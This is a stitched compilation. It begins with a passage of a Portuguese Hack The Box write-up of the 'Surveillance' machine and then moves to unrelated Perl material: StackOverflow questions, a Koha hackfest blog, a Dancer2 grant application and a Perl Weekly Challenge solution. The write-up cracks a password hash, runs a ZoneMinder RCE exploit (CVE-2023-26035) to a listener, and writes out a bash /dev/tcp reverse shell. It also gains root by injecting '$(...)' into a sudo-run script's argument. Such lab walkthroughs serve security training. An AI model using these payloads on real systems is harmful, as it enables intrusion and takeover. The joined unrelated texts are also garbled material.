INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');

Esse tipo de hash é o SHA256 e aqui podemos utilizar o hashcat para quebrar a senha, utilizando o valor 1400 para o tipo de hash e especificando a wordlist rockyou.txt:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# hashcat -m 1400 matthew-hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344389
* Bytes.....: 139921546
* Keyspace..: 14344389

39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c...5770ec
Time.Started.....: Mon Dec 11 21:32:28 2023 (2 secs)
Time.Estimated...: Mon Dec 11 21:32:30 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1596.7 kH/s (0.13ms) @ Accel:256 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3552256/14344389 (24.76%)
Rejected.........: 0/3552256 (0.00%)
Restore.Point....: 3551232/14344389 (24.76%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: starfish789 -> starbowser
Hardware.Mon.#1..: Util: 42%

Started: Mon Dec 11 21:32:04 2023
Stopped: Mon Dec 11 21:32:31 2023

E aqui conseguimos a senha do usuário admin, que é o pertencente a Matthew B. Esse usuário existe no servidor como vimos em nossa enumeração inicial.
Via ssh conseguimos acesso com o usuário matthew!

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# ssh matthew@surveillance.htb
matthew@surveillance.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Dec 12 02:34:21 AM UTC 2023

  System load:  0.08935546875     Processes:             233
  Usage of /:   85.1% of 5.91GB   Users logged in:       0
  Memory usage: 16%               IPv4 address for eth0: 10.129.45.83
  Swap usage:   0%

  => / is using 85.1% of 5.91GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Tue Dec  5 12:43:54 2023 from 10.10.14.40

E assim conseguimos a user flag.

matthew@surveillance:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt
matthew@surveillance:~$ cat user.txt
b4ddc33ff47b1d8534c59a7609b48f13

Movimentação lateral

Agora que temos acesso ssh com o usuário matthew vamos novamente realizar uma enumeração em busca de uma forma de escalar privilégios para root.

Analisando novos arquivos em busca de dados sensíveis conseguimos os seguintes dados de acesso a outro banco de dados:

-rw-r--r-- 1 root zoneminder 3503 Oct 17 11:32 /usr/share/zoneminder/www/api/app/Config/database.php
        'password' => ZM_DB_PASS,
        'database' => ZM_DB_NAME,
        'host' => 'localhost',
        'password' => 'ZoneMinderPassword2023',
        'database' => 'zm',
                $this->default['host'] = $array[0];
            $this->default['host'] = ZM_DB_HOST;

Estes dados são pertencentes a uma aplicação chamada Zoneminder. O zoneminder é uma aplicação open source para monitoramento via circuito fechado de televisão, cameras de segurança basicamente.
Um ponto interessante é que temos outro usuário chamado zoneminder e uma aplicação rodando na porta 8080

Buscando por vulnerabilidades conhecidas para o zoneminder encontramos a CVE-2023-26035

A CVE se trata de um Unauthorized Remote Code Execution. Na ação de realizar um snapshot não é validado se a requisição tem permissão para executar, que espera um ID busque um monitor existente, mas permite que seja passado um objeto para criar um novo. A função TriggerOn chamada um shell_exec usando o ID fornecido, gerando assim um RCE.

Para conseguimos executar precisamos criar um túnel para que a aplicação local consiga ser acessada de nossa máquina, para isso vamos utilizar o ssh:

┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# ssh -L 8081:127.0.0.1:8080 matthew@surveillance.htb
matthew@surveillance.htb's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

Iremos utilizar neste writeup esta POC.
Primeiramente iremos utilizar o pwncat para ouvir na porta 9002:

┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9002
[21:01:10] Welcome to pwncat 🐈!                                                                                                 __main__.py:164

Com o repositório devidamente clonado em nossa máquina executaremos da seguinte forma:

┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance/CVE-2023-26035]
└─# python3 exploit.py -t http://127.0.0.1:8081 -ip 10.10.14.174 -p 9002
[>] fetching csrt token
[>] recieved the token: key:f3dbd44dfe36d9bf315bcf7b9ad29a97463a4bb7,1702432913
[>] executing...
[>] sending payload..
[!] failed to send payload

Mesmo com a mensagem de falha no envio do payload temos o seguinte retorno em nosso pwncat:

┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9002
[21:01:10] Welcome to pwncat 🐈!                                                                                                 __main__.py:164
[21:01:55] received connection from 10.129.44.183:43356                                                                               bind.py:84
[21:02:04] 10.129.44.183:43356: registered new host w/ db                                                                         manager.py:957
(local) pwncat$                                                                                                                                 
(remote) zoneminder@surveillance:/usr/share/zoneminder/www$ ls -lah /home/zoneminder/
total 20K
drwxr-x--- 2 zoneminder zoneminder 4.0K Nov  9 12:46 .
drwxr-xr-x 4 root       root       4.0K Oct 17 11:20 ..
lrwxrwxrwx 1 root       root          9 Nov  9 12:46 .bash_history -> /dev/null
-rw-r--r-- 1 zoneminder zoneminder  220 Oct 17 11:20 .bash_logout
-rw-r--r-- 1 zoneminder zoneminder 3.7K Oct 17 11:20 .bashrc
-rw-r--r-- 1 zoneminder zoneminder  807 Oct 17 11:20 .profile

Conseguindo assim shell como o usuário zoneminder. Mais uma vez iremos realizar uma enumeração.

Atráves do comando sudo conseguimos visualizar um comando que o usuário zoneminder consegue executar com permissões de root:

(remote) zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *

O usuário pode executar qualquer script que esteja no diretório /usr/bin que inicie seu nome com zm e finalize com a extensão .pl que é referente a linguagem perl. Também podemos passar paramêtros.

Aqui estão todos os scripts que conseguimos executar como usuário root:

(remote) zoneminder@surveillance:/home/zoneminder$ ls -alh /usr/bin/zm*.pl
-rwxr-xr-x 1 root root  43K Nov 23  2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root  13K Nov 23  2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root 6.0K Nov 23  2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root  26K Nov 23  2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root  35K Nov 23  2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root 5.6K Nov 23  2022 /usr/bin/zmonvif-probe.pl
-rwxr-xr-x 1 root root  19K Nov 23  2022 /usr/bin/zmonvif-trigger.pl
-rwxr-xr-x 1 root root  14K Nov 23  2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root  18K Nov 23  2022 /usr/bin/zmrecover.pl
-rwxr-xr-x 1 root root 4.8K Nov 23  2022 /usr/bin/zmstats.pl
-rwxr-xr-x 1 root root 2.1K Nov 23  2022 /usr/bin/zmsystemctl.pl
-rwxr-xr-x 1 root root  13K Nov 23  2022 /usr/bin/zmtelemetry.pl
-rwxr-xr-x 1 root root 5.3K Nov 23  2022 /usr/bin/zmtrack.pl
-rwxr-xr-x 1 root root  19K Nov 23  2022 /usr/bin/zmtrigger.pl
-rwxr-xr-x 1 root root  45K Nov 23  2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root 8.1K Nov 23  2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root 6.9K Nov 23  2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root  20K Nov 23  2022 /usr/bin/zmx10.pl

Foi necessário descobrir o que cada script faz, no entanto, fica mais simples quando olhamos esta documentação.

O foco foi tentar explorar scripts que podemos inserir dados, ou seja, scripts que aceitem parâmetros do usuário.

Outro ponto importante é que se for inserido o payload e ele for executado no inicialmente o mesmo será feito como usuário zoneminder.

Precisamos que nosso payload seja carregado e executado posteriormente, de forma que seja executado pelo usuário root.

Dentre os scripts nos temos o zmupdate.pl que é responsável por checar se existem updates para o ZoneMinder e ira executar migrations de atualização. No entanto o mesmo realiza um backup do banco utilizando o mysqldump, comando esse que recebe input do usuário (usuário e senha) e executa como root.

Inicialmente vamos criar um arquivo chamado rev.sh com o seguinte conteúdo:

#!/bin/bash
sh -i 5<> /dev/tcp/10.10.14.229/9001 0<&5 1>&5 2>&5

E localmente em nossa máquina vamos utilizar o pwncat para ouvir na porta 9001:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9001
[17:14:01] Welcome to pwncat 🐈!                                                              __main__.py:164

Agora iremos inserir no input do script o comando '$(/home/zoneminder/rev.sh)' que será salvo como variável exatamente da forma como esta, sem executar, devido as aspas simples que faz com que os caracteres especiais sejas lidos literalmente.

Executaremos da seguinte forma:

(remote) zoneminder@surveillance:/home/zoneminder$ sudo /usr/bin/zmupdate.pl --version=1 --user='$(/home/zoneminder/rev.sh)' --pass=ZoneMinderPassword2023

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.26.0. Is this correct?
Press enter to continue or ctrl-C to abort : 

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.

A senha do banco é a mesma que conseguimos anteriormente. E assim temos o seguinte retorno em nosso pwncat:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9001
[17:14:01] Welcome to pwncat 🐈!                                                              __main__.py:164
[17:18:06] received connection from 10.129.42.193:39340                                            bind.py:84
[17:18:10] 0.0.0.0:9001: normalizing shell path                                                manager.py:957
[17:18:12] 0.0.0.0:9001: upgrading from /usr/bin/dash to /bin/bash                             manager.py:957
[17:18:14] 10.129.42.193:39340: registered new host w/ db                                      manager.py:957
(local) pwncat$                                                                                              
(remote) root@surveillance:/home/zoneminder# id
uid=0(root) gid=0(root) groups=0(root)

Conseguimos shell como root! Podemos buscar a root flag!

(remote) root@surveillance:/home/zoneminder# ls -a /root
.  ..  .bash_history  .bashrc  .cache  .config  .local  .mysql_history  .profile  root.txt  .scripts  .ssh
(remote) root@surveillance:/home/zoneminder# cat /root/root.txt 
4e69a27f8fc2279a0a149909c8ff2af4

Um ponto interessante agora que estamos como usuário root e visualizar nos processos como foi executado o comando de mysqldump:

(remote) root@surveillance:/home/zoneminder# ps aux | grep mysqldump
root        3035  0.0  0.0   2888  1064 pts/3    S+   22:18   0:00 sh -c mysqldump -u$(/home/zoneminder/rev.sh) -p'ZoneMinderPassword2023' -hlocalhost --add-drop-table --databases zm > /tmp/zm/zm-1.dump

Como planejamos o valor foi mantido inicialmente, somente na segunda execução que interpretou o caracter especial executando o comando.

E assim finalizamos a máquina Surveillence!

Pwned!

I am trying to dedupe incoming records from various sources (could be 30+) all purporting to respect the one origin record, but don't. Therefore I have to dedupe and dump records that are (informationally) identical, but just mangled enough to be annoying.

This is sort of thing that I want to normalise (one string per line):

57 , danke f%FCrs qso, sch%F6nes Wochenende # note: binary is URL-encoded for display

57 , danke f?rs qso, sch?nes W

57 , danke f??rs qso, sch??nes

The problem is that there is software out there that purports to do the same job as mine but changes the input record (containing this string as a field) are propagated, effectively as the same input record. This which should be strictly verboten, but it is a radio ham author eat each other world out there.

There is a nuclear option of just deduping on other fields, which would do a sufficiently good job, but would also then dedupe out genuinely usefel changes of information in that field which might be useful.

I only consider (up to) the first 15 characters of a normalised version of these strings. After many attempts over the years I still don't appear to have it right.

I am interested in new solutions rather than trying bugfix mine. I have had enough time since 1997 to try and get this right and, clearly, am still failing.

Perl sprintf format specifier as input variable

Perl questions on StackOverflow

Published by TomR on Saturday 20 April 2024 03:12

I'm trying to use a string provided as command-line argument as a format specifier in a sprintf statement in a Perl script, e.g., myscr.pl -fmt="%.2f\t%.1f\n" on the command-line. In the script, I have somewhere (undef,$fmt)=split(/=/) to extract the format string, and then I use it as follows: $d=sprintf($fmt,$l[$i],$l[$j]) in some loop. This doesn't quite work, the result looks like this:

2.32\t375.8\n2.37\t386.3\n

i.e., the tab and newline formatters are ignored and treated as normal letters, but the number of digits is processed correctly. On the other hand, I also have a default $fmt="%.3f\t%.3f\n" in case no option -fmt is provided, and that produces the correct format in the same sprintf statement:

2.323   375.817
2.372   386.275

Why? What do I have to do to pass a format specifier as a command-line argument the way I intend?

Can't install tk [closed]

Perl questions on StackOverflow

Published by David lopez on Saturday 20 April 2024 02:58

I tried to install tk with cpan. Got an error message that said, LWP failed with code [500] message [ can't connect to proxy.sn.no:8001 ]. Tried deleting Config.pm. did not work. Tried turning off firewalls. Did not work.

I already listed that

The following programs, one in Javascript, and the other in Perl, are supposed to perform the same task, they have the same input data. However, the output is different. The problem originated in the JS being used on the client side, sending a POST request to an app on the server side, written in Perl. The Perl program failed to decrypt with no obvious reason why. Analysing it I arrived to the conclusion that the libraries, in the two different programming languages, were behaving differently. So I wrote the client side in Perl to prove the point. The results are below.

const CryptoJS = require('crypto-js');

function logBytes(description, wordArray) {
    const bytes = CryptoJS.enc.Hex.stringify(wordArray);
    console.log(description, bytes);
}

function encrypt(key32, iv16, data) {
    const key = CryptoJS.enc.Hex.parse(key32);
    const iv = CryptoJS.enc.Hex.parse(iv16);
    const utf8data = CryptoJS.enc.Utf8.parse(data);

    // Log data and byte arrays
    console.log("Data: " + data);
    logBytes("Key Bytes:", key);
    logBytes("IV Bytes:", iv);
    logBytes("Data Bytes:", utf8data);

    const encrypted = CryptoJS.AES.encrypt(utf8data, key, {
        iv: iv,
        mode: CryptoJS.mode.CBC,
        padding: CryptoJS.pad.Pkcs7
    });

    console.log("Encrypted (Base64):", encrypted.toString());
}

const data = "myemail@myserver.com";
const key32 = "9d066ab6dc74593bbcef0876b4f7c00bada3acce6134fc64fa31a2cf995a39dd";
const iv16 = "9b2b9bdb4af5357cd78a8a2257c51a7f";
encrypt(key32, iv16, data);

output:

 % node test.js
Data: myemail@myserver.com
Key Bytes: 9d066ab6dc74593bbcef0876b4f7c00bada3acce6134fc64fa31a2cf995a39dd
IV Bytes: 9b2b9bdb4af5357cd78a8a2257c51a7f
Data Bytes: 6d79656d61696c406d797365727665722e636f6d
Encrypted (Base64): iit+mjBnWsMrMkJp63hpRmsCZgIxZ4FPZQId35qv12s=
#!/usr/bin/perl

use strict;
use warnings;

use MIME::Base64;
use Crypt::OpenSSL::AES;

sub logMessage {
  my ($message) = @_;
  print "$message\n";
}

sub logBytes {
    my ($description, $bytes) = @_;
    my $hex = unpack('H*', $bytes);
    logMessage("$description: $hex");
}

sub encrypt {
    my ($key32, $iv16, $data) = @_;

    my $key = pack('H*', $key32);
    my $iv = pack('H*', $iv16);

    # Log data and byte arrays
    logMessage("Data: $data");
    logBytes("Key Bytes", $key);
    logBytes("IV Bytes", $iv);
    logBytes("Data Bytes", $data);

    my $cipher = Crypt::OpenSSL::AES->new($key);

    my $block_size = 16;
    my $padding = $block_size - (length($data) % $block_size);
    $data .= chr($padding) x $padding;

    my $encrypted = $cipher->encrypt($data);

    my $encrypted_base64 = encode_base64($encrypted, "");

    logMessage("Encrypted (Base64): $encrypted_base64");
}

sub main {
  my $data = "myemail\@myserver.com";
  my $key32 = '9d066ab6dc74593bbcef0876b4f7c00bada3acce6134fc64fa31a2cf995a39dd';
  my $iv16 = '9b2b9bdb4af5357cd78a8a2257c51a7f';
  encrypt($key32, $iv16, $data);
}

main();
exit (0);

output

% ./test.pm  
Data: myemail@myserver.com
Key Bytes: 9d066ab6dc74593bbcef0876b4f7c00bada3acce6134fc64fa31a2cf995a39dd
IV Bytes: 9b2b9bdb4af5357cd78a8a2257c51a7f
Data Bytes: 6d79656d61696c406d797365727665722e636f6d
Encrypted (Base64): rk7JgOwsb7atyvEIXVNQkexbx5SYzufE05LZAoqtZGk=
Versions:

Perl:
Crypt::OpenSSL::AES version: 0.19
MIME::Base64 version: 3.16

JS:
crypto-js@4.2.0

While in Perl debugger session with DB::Color in effect, how can I get /regexp/ displayed in any given color?

I've searched online extensively, including Google and various forums, but haven't found a solution that works. Any suggestions or insights would be greatly appreciated.

Last week we (aka HKS3) attended the Koha Hackfest in Marseille, hosted by BibLibre. The hackfest is a yearly meeting of Koha developers and other interested parties, taking place since ~10 years in Marseille. For me, it was the first time!

Things I learned (and other notes)

  • While I still don't like traveling by plane, the route Vienna - Marseille is very hard to travel by train (or bike).
  • Airbnb hosts come up with the weirdest ways to allow guests to access their apartment, which of course fail spectacularly on Sunday at 20:30. (We had to call a number, which should then automatically unlock the door. Didn't work, so the owner called somebody to open the door for us. And told us to basically reboot the system by toggling the main breaker. The system then worked for the rest of our stay).
  • I still like Cidre and Galettes a lot.
  • Do not underestimate what you can do with a shared online spreadsheet, a few tabs in said spreadsheet, and some smart formulas: No need for a fancy conference orga tool.
  • There is no competition who will eat the most from the overflowing shared sweets tables featuring nice (but unhealthy) stuff brought by all the attendees. I think I still tried to win.
  • Once you have koha-testing-docker up and running, sending patches and signing them off is not too hard.
  • I still find the process not too easy (and it can take quite some time, making "drive by commits" nearly impossible, but then Koha is a piece of software that is distributed and installed onto thousands of (different) servers, so it unfortunately does make sense to take a bit more care.
  • We had some interesting discussions on various ways to implement Plugins and Hooks, mostly about explicit hooks (sprinkling the code with method calls to various named hooks) vs implicit hooks (using Perl magic to wrap methods). I'll post a followup blog post on that soon. Here are my extended thoughts on that subject.
  • I still like Moules Frites and Sirup, but find Diabolo (Sirup with Lemonade) too sweet (and I like sweet!)
  • Another nice thing about Marseille: When you forget your jacket at the venue, and the temperature drops from nice to cold, you can drop into a Kilo Shop and get a cheap (and weird) second hand jacket.
  • I learned how to spell Marseille!
  • Wow, the cheese lunch...
  • The table football ("Wuzzler", as we call it) has a very weird layout; using a soft ball has the advantage that it's less noisy (but plays like crap). Tomas was a fierce adversary :-)
  • I learned that koha-dpkg-docker exists (a container to build Debian packages of Koha), but could not get it to work. Yet!
  • The last day of Ramadan and Eid al-Fitr causes a lot of happy activity in the town center.
  • It's nice to have a harbour as a town center.
  • Andreii again tried to get the Koha people to join the Perl community and the Perl community to start to care about Koha, eg by inviting Koha devs to submit talks to the upcoming Perl and Raku Conference in Las Vegas and inviting Perl people to the upcoming Koha Con in Montréal. So if you identify as one or the other (or both!) and want to attend one of those events, please do so! And maybe also submit a talk!!
  • Very little sleep, drinking coke instead of water and not being young anymore is not a very good combination, which caused me to have to take half a day off on Wednesday.
  • Getting to know the actual people behind email addresses and IRC handles helps a lot.
  • I got told the not-so-secret story behind the name ByWater by their exceptionally friendly and generous CEO Brendan Gallagher over beer and cider that for a change we paid for.
  • Fridolin Somers explained why the ElasticSearch configuration / mappings exist in two data stores (the DB and a yaml file), and why this probably cannot be avoided: For bulk changes (when you manage lots of libraries) the yaml file is easier than manually clicking through the UI; they don't trust people who have access to that UI to not fuck up the mappings (then IMO access to this should be more restricted). I still thing that a change to the DB via UI should be reflected in the yaml file, especially as there is a big fat button in the UI that will reset whatever is in the DB with the yaml file. To be discussed...
  • The colleagues from KIT are also working on Elasticsearch and fixed a very annoying bug with the UI: Ability to add search fields from UI. We used that as training bug to learn the sign-off process. And by now it's even pushed to 24.05, yay!
  • When a bunch of stakeholder meet in a room and want to cooperate, complex decisions can be found quickly (switching from IRC to Mattermost for Koha Chat)
  • When this decisions is not what you preferred (Matrix/Element), but pushing your preference would probably only work if you volunteered a lot of time and effort, it's wiser to accept it. (Plus, Mattermost has a few features that Element lacks)
  • While trying to sign off one bug fix, it can happen that you discover two more (only one reported yet, though)
  • You have to apply for the job of QA person (i.e. to check that each bug/feature actually works before it's committed) and have to win a vote. This might explain why it often takes very long to get a patch into Koha, as there are very few people on the QA team. I'm only very slowly getting used to this (in my eyes) very slow and cumbersome process, but I guess "move fast and break things" is not something libraries care about..
  • Update: There are actually a lot of people on the QA team , I was looking at the wrong list. They do a great job! But it could always be more members!!
  • Katrin Fischer is a walking Koha encyclopedia and happily shares her knowledge.
  • Having a beach withing walking distance (barely, but still) is very nice. Especially if the weather turns out sunny, warm and not windy. And the water cold, but manageable.
  • While I initially found the concept of high end food courts a bit strange, they are very nice for a large group of people to randomly show up. Also, I can find some weirder food ("African" sweet potatoe waffles with fried chicken and plantain (fried bananas)) while others can have their boring burgers and pizzas.
  • If I had known before that joubu not only QAs Koha, but also random blog posts, the inital verison of this post would have containted much less errors!

Achievements

  • I quickly hacked together a Vue3 Island Architecture Prototype showing how you can load distinct components that are distributed in one vue app into existing backend rendered HTML, thus for example making it easy to reuse the navbars, auth etc from the backend rendered app, while still having a shared router and state in the Vue app.
  • We finally got our GeoSearch signed off and passed QA. Thanks Nick & Martin!
  • We signed off a few bugs / features, finally learning (for good, I hope) how to work with KTD and git-bz.
  • eg this one Add a plugin hook to modify patrons after authentication, which was a pain to set up, because the Keycloak SSO integration has to be manually configured in KTD.
  • The German speaking attendees decided to try to set up a Koha-DACH German language hackfest-y event in autumn.
  • I added a new flag, --dbshell to KTD for easy access to the DB shell.
  • I tried a different approach to get Plack hot reload into KTD, but that's still in discussion.
  • Probably more..

Thanks

Thanks to BibLibre and Paul Poulain for organizing the event, and to all the attendees for making it such a wonderful 4 days!

Grant Application: Dancer 2 Documentation Project

Perl Foundation News

Published by Saif Ahmed on Thursday 18 April 2024 16:50


We have had a grant aplication from Jason Crome. He is an author and maintainer of a very popular Perl Web Framework familiar to many of us in the Perl community. Dancer 2 has continued to evolve and remains very useful for web application creation. As it besomes more modernised, more robust, and acquired more new features, it has become out of sync with available documentation. A key requirement to realise the usefulness of any project is the availability of resources that enable its use. This includes up to date documents and representative examples.


Dancer2 Documentation Project

Synopsis

Improve the overall quality of the Dancer2 documentation, and ensurethat documentation is up-to-date with recent developments of Dancer2. Create a sample application that follows current Dancer2 standards.

Applicant Profile

Benefits to the Perl Community

The Dancer Core Team ran a survey of its community in 2017, and one of the items that stood out most was documentation. 33% of our users like our documentation, 33% are ambivalent, and 33% dislike it. Clearly, that leaves a lot of room for improvement, and sadly, the state of our docs hasn't changed much since then.

As reference material, the Dancer2 docs are adequate, but many core concepts are not explained well or at all. Dancer2 is easy to get going with, but the documentation doesn't do the best job of illustrating this. Enhanced documentation is not only good for seasoned users of Perl andDancer2, but also lowers the barrier to entry for less experienced developers, or developers who are new to building web applications.

The example application is also a bit of a mess; we've had to patch it several times to make it correctly work, and it doesn't adhere to current standards in places. This example should serve as a model of what a quality Dancer2 app looks like while being a good learning tool. We don't feel it does either of these well.

We leaned on a tech writer to review our docs, and they provided a list of suggestions and enhancements to make Dancer2's documentation friendlier and more approachable, and these suggestions form the basis of this grant.

Project Details / Proposed Schedule

This grant will run for four months, and is organized into the following segments:

Months 1 and 2: Dancer2::Manual revamp

The most intense work of this grant will happen during this first segment. The core of the manual will be restructured, revised, and improved. The manual will be structured such that it will first emphasize how easy it is to build applications with Dancer2 and explain the fundamental concepts of building Dancer2 applications:

  • A single file ""Hello, World!"" Dancer2 app
  • Route handlers
  • HTTP methods
  • Path patterns

From there, the manual will layer on additional concepts, each building on each other. These sections will align with tasks that developers will want to accomplish with their Dancer2 apps:

  • Template handling
  • Error handling
  • Sessions
  • etc.

Month 3: Example application; review and edit Dancer2::Manual

The primary task in month 3 is to rebuild the example application such that it uses all modern techniques and standards for Dancer2 applications. It should be well-written and documented to be the best learning tool it can be.

Much of the review and editing of the core manual will happen during this time.

Month 4: Update and revise the cookbook, deployment, and migration guides; final edits

In the last segment of this grant, we'll review the cookbook and deployment guide to ensure they are in the best possible shape. Outdated information will be updated or pruned; up to date examples will be added to the deployment guide (Docker/containerization, Caddy, etc.). The cookbook will be enhanced with new suggestions and recipes, and the migration guide will be freshened up.

Any remaining time will be used for any final edits that are needed for this grant can be considered complete.

Applicant Bio

I'm Jason Crome, though you may know me as CromeDome (my CPAN handle). I've been around the Perl community for the better part of 20 years, and was an active member of the CGI::Application community before becoming a Dancer Core Developer in 2015. I've served on the TPRF Grants Committee, first as a voting member and later as its secretary. I'm the organizer of Charlotte Perl Mongers, and I like puppies and long walks in the park.

I've been the release manager for Dancer2 for the last 5+ years, and the loudest/most publicly outspoken member of our community during that time. I'm constantly in contact with our community, and no one knows our community quite as well as I do. My extensive knowledge of both the framework and our community makes me the ideal candidate for this work. And when I need help or get blocked, I know exactly who to bring in to help things get going again.

Funding Request

$2,800 USD, with half paid two months in, the balance paid upon completion.

There may be others involved in the writing and editing of the updated docs; if so, I would coordinate the work and issue any payments to these parties out of payments I receive from TPF. This would be my burden to manage; the interface on this project would be between me and the selected grant manager.

Perl Weekly Challenge 265: Completing Word

blogs.perl.org

Published by laurent_r on Thursday 18 April 2024 14:50

These are some answers to the Week 265, Task 2, of the Perl Weekly Challenge organized by Mohammad S. Anwar.

Spoiler Alert: This weekly challenge deadline is due in a few days from now (on April 21, 2024 at 23:59). This blog post provides some solutions to this challenge. Please don’t read on if you intend to complete the challenge on your own.

Task 2: Completing Word

You are given a string, $str containing alphanumeric characters and array of strings (alphabetic characters only), @str.

Write a script to find the shortest completing word. If none found return empty string.

A completing word is a word that contains all the letters in the given string, ignoring space and number. If a letter appeared more than once in the given string then it must appear the same number or more in the word.

Example 1

Input: $str = 'aBc 11c'
       @str = ('accbbb', 'abc', 'abbc')
Output: 'accbbb'

The given string contains following, ignoring case and number:
a 1 times
b 1 times
c 2 times

The only string in the given array that satisfies the condition is 'accbbb'.

Example 2

Input: $str = 'Da2 abc'
       @str = ('abcm', 'baacd', 'abaadc')
Output: 'baacd'

The given string contains following, ignoring case and number:
a 2 times
b 1 times
c 1 times
d 1 times

The are 2 strings in the given array that satisfies the condition:
'baacd' and 'abaadc'.

Shortest of the two is 'baacd'

Example 3

Input: $str = 'JB 007'
       @str = ('jj', 'bb', 'bjb')
Output: 'bjb'

The given string contains following, ignoring case and number:
j 1 times
b 1 times

The only string in the given array that satisfies the condition is 'bjb'.

The task specification does not state it explicitly, but the examples show that we should ignore case when comparing letters.

Completing Word in Raku

In Raku, we'll use a Bag, which is a collection of distinct elements that each have an integer weight assigned to them signifying how many copies of that element are considered "in the bag", to store a histogram of the letter frequencies, both for the input test string and the words to which it should be compared. The good thing about it is that we obtain directly a histogram of the input letter list, and that can use the Subset of or equal to operator,infix%E2%8A%86) to check directly the completing condition.

sub complete-word  ($in-str, @in-words) {
    my $letters = $in-str.comb.map({ .lc}).grep( /<[a..z]>/).Bag;
    my @result;
    for @in-words -> $word {
        push @result, $word if $letters ⊆ $word.comb.map({ .lc }).Bag;
    }
    return min(@result, :by( { $_.chars } )); 
}

my @tests = ('aBc 11c', ('accbbb', 'abc', 'abbc')),
            ('Da2 abc', ('abcm', 'baacd', 'abaadc')),
            ('JB 007', ('jj', 'bb', 'bjb'));
for @tests -> @test {
    printf "%-8s - %-20s => ", @test[0], "@test[1]";
    say complete-word @test[0], @test[1];
}

This program displays the following output:

$ raku ./complete-wortd.raku
aBc 11c  - accbbb abc abbc      => accbbb
Da2 abc  - abcm baacd abaadc    => baacd
JB 007   - jj bb bjb            => bjb

Completing Word in Perl

This is a port to Perl of the above Raku program. We use a hash instead of a Bag to store the histogram of the input letters. The use of the subset operator is replaced by a simple loop to find out whether any letter of the input test string is missing (or in smaller number) in the input words.

use strict;
use warnings;
use feature 'say';

sub complete_word {
    my ($in_str, @in_words) = @_;
    my %letters;
    $letters{$_}++ for grep { $_ =~ /[a-z]/ } map { lc } split //, $in_str;
    my @result;
    WORD: for my $word (@in_words) {
        my %word_let;
        $word_let{$_}++ for map { lc } split //, $word;
        for my $k (keys %letters) {
            next WORD unless exists $word_let{$k};
            next WORD if $letters{$k} > $word_let{$k};
        }   
        push @result, $word;
    }
    return (sort {length $a <=> length $b} @result)[0];
}

my @tests = ( ['aBc 11c', ['accbbb', 'abc', 'abbc']],
              ['Da2 abc', ['abcm', 'baacd', 'abaadc']],
              ['JB 007', ['jj', 'bb', 'bjb']]  );
for my $test (@tests) {
    printf "%-8s - %-10s => ", $test->[0], "$test->[1][0] ...";
    say complete_word $test->[0], @{$test->[1]};
}

This program displays the following output:

$ perl ./complete-wortd.pl
aBc 11c  - accbbb ... => accbbb
Da2 abc  - abcm ...   => baacd
JB 007   - jj ...     => bjb

Wrapping up

The next week Perl Weekly Challenge will start soon. If you want to participate in this challenge, please check https://perlweeklychallenge.org/ and make sure you answer the challenge before 23:59 BST (British summer time) on April 28, 2024. And, please, also spread the word about the Perl Weekly Challenge if you can.

